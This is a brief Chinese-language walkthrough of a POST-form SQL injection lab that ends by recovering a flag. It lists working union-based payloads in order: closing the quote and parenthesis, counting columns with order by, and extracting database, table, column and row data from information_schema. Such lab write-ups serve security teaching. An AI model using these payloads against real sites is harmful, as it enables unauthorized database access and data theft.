post注入是通过对输入框进行传参,可以被带入数据库进行的查询
# 注入的两个条件:1.用户可以控制传参,2.用户输入的语句被带入数据库进行查询
1.查询是否有注入点
对输入框填入一些闭合的符号,看页面是否异常
例如: ’ " ') ")
填入 ’
页面正常,
在填入 "
页面发生错误,证明 " 闭合有效
输入:“and1=1#
竟然也显示报错,因为填入and 1=1 是肯定成立不会报错的,这里显示异常,所以证明不单单是"闭合,可能还有个括号没闭合
输入 “)and 1=1#
页面显示正常,证明有注入点,并要用”)进行闭合,方可进行查询
2。order by 语句查询有几个字段
例:”)order by 3# 出错,
")order by 2# 显示正确,判断为2个字段
3.使用union 联合查询 显错点,输出点
语句:
") union select 1,2#
4.查询当前库名
语句:
") union select 1,database()#
当前库名为security
5。查表名,利用当前库名查系统表
语句:
") union select 1,group_concat(table_name) from information_schema.tables where table_schema=“security” #
6。查字段名
语句:
") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=“zkaq” #
7.查表内的信息
语句:
")union select group_concat(flag),group_concat(zKaQ) from zkaq #
我们想要的表内的所有信息如图展示
我们也得到了我们需要的信息:flag为:zKaQ-P0stD0ubl4